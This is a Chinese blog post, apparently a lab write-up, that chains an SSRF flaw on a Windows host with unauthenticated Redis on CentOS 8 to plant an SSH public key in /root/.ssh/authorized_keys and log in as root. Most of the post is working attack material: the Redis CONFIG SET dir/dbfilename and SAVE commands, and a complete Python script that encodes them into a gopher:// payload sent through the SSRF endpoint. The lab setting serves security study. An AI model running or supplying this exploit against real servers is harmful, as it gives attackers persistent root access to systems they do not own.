SSRF+Redis写入公钥

该实验通过在Kali Linux上生成公私钥对,利用CentOS8上Redis服务的未授权访问和Windows10上的SSRF漏洞,将公钥写入目标服务器的SSH授权文件,最终实现无需密码的远程登录。实验步骤包括在Kali生成公钥,构造Redis数据包,编写并执行exploit脚本,以及验证在CentOS8上的公钥写入成功,并通过SSH直接登录。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

野径云俱黑,江船火独明。



实验环境

主机角色描述
centos8受害服务器运行redis数据库(未授权访问)
window10跳板服务器含有ssrf漏洞
kali攻击者利用ssrf+redis未授权访问写入公钥登录centos8

实验准备

思路:

先在自己的主机上生成公私钥对,利用redis的数据备份功能,将自己的公钥写入到目标服务器的/etc/authorized_keys中,然后使用ssh的私钥直接登录目标服务器。

条件:

1、redis服务使用root账号启动,这时候才有切换目录写入文件的权限(实验中可以临时执行sudo -u root /usr/bin/redis-server/etc/redis/redis.conf来以root权限执行)

2、服务器开放了SSH服务,而且允许使用密钥登录,即可以远程写入一个公钥,直接远程登录服务器。


实验过程

kali在本地生产公私钥:

image-20210403144255584

image-20210403144316105

如图所示,成功生成公私钥对。

查看公钥字符串:

image-20210403144349152

构造reids数据包:

功能是将公钥字符串写入到目标服务器的/root/.ssh/authorized_keys文件中

config set dir /root/.ssh/   #切换到指定目录
config set dbfilename authorized_keys         #备份数据命名为authorized_keys
set qianxun "\\n\\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDEnwNWKFqDJtta8TD8jHgOZOQY//GM53NluEkGAygMttlPhk/tuwgd5nAUUhRM+jMsgVSlLHduhWTGzXsWgjndCuETwXnKsZiMQNOgGBcwiPZ50W+Fz63Xd0MZAHdInhltjAoMfZX9pBh9kWX3BbXb463cNQGMm1/xU8JParPmgNkt+pJetvjlRCNirSxwxEdR9BwNImcuorotUMkMMSsKXurrmo7QqhWaV6PDgDVGbXc+Nj3ZLdJoSThNXjmdS6miA0Lvli2w4Gl+MTFSm1nQkSfAHPvxcBNLnOj16KScEa7WwetDd9hdbRJOyLdgxT0hbHWjKx7Eb4k7EF9dmobOSSs9k101tEntIes1Y1fa+LAThQwou99SmT7+j6zVj1+6KRiHepnNU3VnoAqZ/A3w+K9OgJvGfN4wx3SNQIyKrnF2UjVysevSpQPQsay1/HLqnNtCgvVz9Hib4ZAW+NBvuWAh/7KL4T9f94vdXU/F4dWd0T+umJ6DHBBi5W44gSE= root@kali\\n\\n"   #设置公钥(注意转义)
save    #保存
quit    #退出

结合构造的redis数据包,编写exp脚本:

#!/usr/bin/python
# -*- coding: UTF-8 -*-
import urllib.request
from urllib.parse import quote

url = "http://222.24.28.207/ssrf/curl_exec.php?url="    #windows上搭建的ssrf漏洞页面
gopher = "gopher://222.24.28.100:6379/_"

# 攻击脚本
data = """
config set dir /root/.ssh/
config set dbfilename authorized_keys
set qianxun "\\n\\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDEnwNWKFqDJtta8TD8jHgOZOQY//GM53NluEkGAygMttlPhk/tuwgd5nAUUhRM+jMsgVSlLHduhWTGzXsWgjndCuETwXnKsZiMQNOgGBcwiPZ50W+Fz63Xd0MZAHdInhltjAoMfZX9pBh9kWX3BbXb463cNQGMm1/xU8JParPmgNkt+pJetvjlRCNirSxwxEdR9BwNImcuorotUMkMMSsKXurrmo7QqhWaV6PDgDVGbXc+Nj3ZLdJoSThNXjmdS6miA0Lvli2w4Gl+MTFSm1nQkSfAHPvxcBNLnOj16KScEa7WwetDd9hdbRJOyLdgxT0hbHWjKx7Eb4k7EF9dmobOSSs9k101tEntIes1Y1fa+LAThQwou99SmT7+j6zVj1+6KRiHepnNU3VnoAqZ/A3w+K9OgJvGfN4wx3SNQIyKrnF2UjVysevSpQPQsay1/HLqnNtCgvVz9Hib4ZAW+NBvuWAh/7KL4T9f94vdXU/F4dWd0T+umJ6DHBBi5W44gSE= root@kali\\n\\n"
save
quit
"""
def encoder_url(data):
    encoder = ""
    for single_char in data:
        # 先转为ASCII
        encoder += str(hex(ord(single_char)))
    encoder = encoder.replace("0x","%").replace("%a","%0d%0a")
    return encoder

# 二次编码
encoder = encoder_url(encoder_url(data))

print(encoder)
# 生成payload
payload = url + quote(gopher,'utf-8') + encoder

# 发起请求
request = urllib.request.Request(payload)
response = urllib.request.urlopen(request).read()
print(response)

运行脚本:

image-20210403150937959

image-20210403151003496

切换视角,在centos8上查看:

image-20210403150913612

如图所示,文件已被成功写入!

返回kali,直接用ssh登录centos

image-20210403152500023

成功!


后记

本次实验主要利用的是redis的未授权访问(或者弱口令)以及redis的数据备份功能,将自己的公钥写入目标服务器的/root/.ssh/authorized_keys文件中,直接登录目标服务器。此操作需要redis使用root权限运行,这样才能切换目录写文件,然后服务器必须开启ssh服务,二者缺一不可。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值